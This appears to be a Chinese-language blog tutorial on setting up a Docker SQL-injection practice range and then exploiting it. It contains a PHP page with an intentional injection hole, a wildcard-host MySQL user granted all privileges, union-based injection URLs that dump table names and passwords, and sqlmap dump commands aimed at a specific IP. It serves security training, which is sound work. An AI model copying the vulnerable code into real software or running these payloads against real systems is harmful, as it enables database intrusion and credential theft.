Docker搭建SQL注入漏洞
什么是Docker
Docker又被叫做容器,使用教程參考我的博客:
傳送門
如何搭建靶場
這里以ubuntu上搭建docker為例
首先下載docker:
apt install docker.io
apt install docker-compose
如何搭建web服務器
一般來說比較推薦Apache,詳細教程請查看我的博客
如何寫php文件
以一個簡單的php文件為例,如果有需要請自行增加功能。
<?php
error_reporting(0); //不報錯
$con = mysqli_connect("127.0.0.1","ubuntu","ubuntu","ctf"); //連接本地數據庫,賬號為ubuntu,密碼為ubuntu,連接的數據庫名字叫ctf
if (!isset($_GET['id'])){ //判斷是否上傳一個id
Header("Location:?id=1"); //如果沒有上傳,默認加上 ?id=1
}
$id = $_GET['id']; //將傳上來的id賦值給$id變量
//if(preg_match("/ /order/i",$id)){ 這一塊是加上過濾的語句,這里搭建簡單靶場,所以將注釋過濾掉了
//die("<script>alert('Stop hacking!')</script>");
//}
$req = "select * from users where id=$id;"; //構造SQL讀取語句
$result=mysqli_query($con,$req); //執行SQL語句
$row = mysqli_fetch_all($result); //解析執行結果
echo "<center><font color='red'>".$row[0][0]."</font></br>"; //將結果輸出
echo "<font color='red'>".$row[0][1]."</font></br>";
echo "<font color='red'>".$row[0][2]."</font></center>";
?>
SQL文件的話可以參考
create database IF NOT EXISTS ctf;
use ctf;
CREATE TABLE IF NOT EXISTS users
(
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(60) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE emails
(
id int(3)NOT NULL AUTO_INCREMENT,
email_id varchar(30) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE uagents
(
id int(3)NOT NULL AUTO_INCREMENT,
uagent varchar(256) NOT NULL,
ip_address varchar(35) NOT NULL,
username varchar(20) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE referers
(
id int(3)NOT NULL AUTO_INCREMENT,
referer varchar(256) NOT NULL,
ip_address varchar(35) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO ctf.users (id, username, password) VALUES ('1', 'Dumb', 'Dumb'), ('2', 'Angelina', 'I-kill-you'), ('3', 'Dummy', 'p@ssword'), ('4', 'secure', 'crappy'), ('5', 'superman', 'genious'), ('6', 'batman', 'mob!le'), ('7', 'admin', 'flag in /flag');
INSERT INTO `ctf`.`emails` (id, email_id) VALUES ('1', 'Dumb@dhakkan.com'), ('2', 'Angel@iloveu.com'), ('3', 'Dummy@dhakkan.local'), ('4', 'secure@dhakkan.local'), ('5', 'stupid@dhakkan.local'), ('6', 'superman@dhakkan.local'), ('7', 'batman@dhakkan.local'), ('8', 'flag{chenwei_laoshi_taiqiangle}');
寫Dockerfile
在以下內容之前,請先看前面那篇博客
FROM 1275178869/base_image_apache_php_mysql:sjx
COPY file /var/www/html #將當前文件夾中的file文件拷去/var/www/html
RUN rm /var/www/html/index.html
EXPOSE 80
構建Docker
一番操作下來,目前已經有的文件:


一共3個文件,其中db.sql和index.php在file文件夾中。
將整個文件夾上傳到服務器端:

然后運行
docker build -t sql:sql .
創建一個叫sql:sql的鏡像,然后
docker run -it -p 3000:80 sql:sql /bin/bash
創建好了容器,主機的3000端口映射到容器的80端口上了。
這時候已經進入了容器

輸入
mysql -uroot -proot < /var/www/html/db.sql
導入數據庫
然后輸入
service mysql start
service apache2 start

開啟MySQL和Apache
輸入mysql進入數據庫

然后創建一個叫ubuntu的用戶,密碼也用ubuntu,並賦予最高權限。
CREATE USER 'ubuntu'@'%' IDENTIFIED BY 'ubuntu';GRANT ALL PRIVILEGES ON *.* TO 'ubuntu'@'%' WITH GRANT OPTION;FLUSH PRIVILEGES;
這個時候已經搭建好靶場了,大家可以訪問主機ip:3000來對docker進行訪問。
如果想退出docker可以輸入exit進行退出

這個時候docker已經關閉了,可以用docker ps -a查看暫停的容器,並用docker start +容器id來開啟,就此搭建靶機結束!
SQL注入過程
判斷是數字類型注入還是字符型注入
輸入1'#發現紅色的字已經沒了

輸入1#紅色的字還在所以判斷此注入是數字型注入

判斷字段數
構造
http://111.229.229.17:3000/?id=1 order by 1#

http://111.229.229.17:3000/?id=1 order by 2#
http://111.229.229.17:3000/?id=1 order by 3#
http://111.229.229.17:3000/?id=1 order by 4#

證明一共有三個字段
判斷注入點
http://111.229.229.17:3000/?id=0 union select 1,2,3#

發現 1 2 3都有輝回顯,那么三個都是注入點
爆庫名
http://111.229.229.17:3000/?id=0 union select database(),2,3#

爆表名
http://111.229.229.17:3000/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctf'#

發現了4個表,猜測flag在users表里面。
爆字段名
http://111.229.229.17:3000/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

猜flag在password字段里面
得到flag
http://111.229.229.17:3000/?id=0 union select group_concat(password),2,3 from users#

使用SQL注入工具
sqlmap解放雙手
下載傳送門
一款好用的工具可以大大降低我們的勞動,介紹一下sqlmap的使用。詳細使用過程參考這篇博客
這里就介紹一些簡單的指令
爆庫名
在sqlmap下載路徑下打開cmd,輸入
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" --dbs

因為sqlmap是用python2寫的,所以要用python2調用。
-u參數提供攻擊鏈接
--dbs表示要爆庫名

有5個庫,選擇ctf
爆表名
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf --tables
-D參數表示選擇數據庫
--tables表示爆表名

爆字段名
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users --columns
-T參數表示選擇users表
--columns表示爆字段名

拿flag
python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users -C password --dump
-C表示選擇字段
--dump表示爆出內容

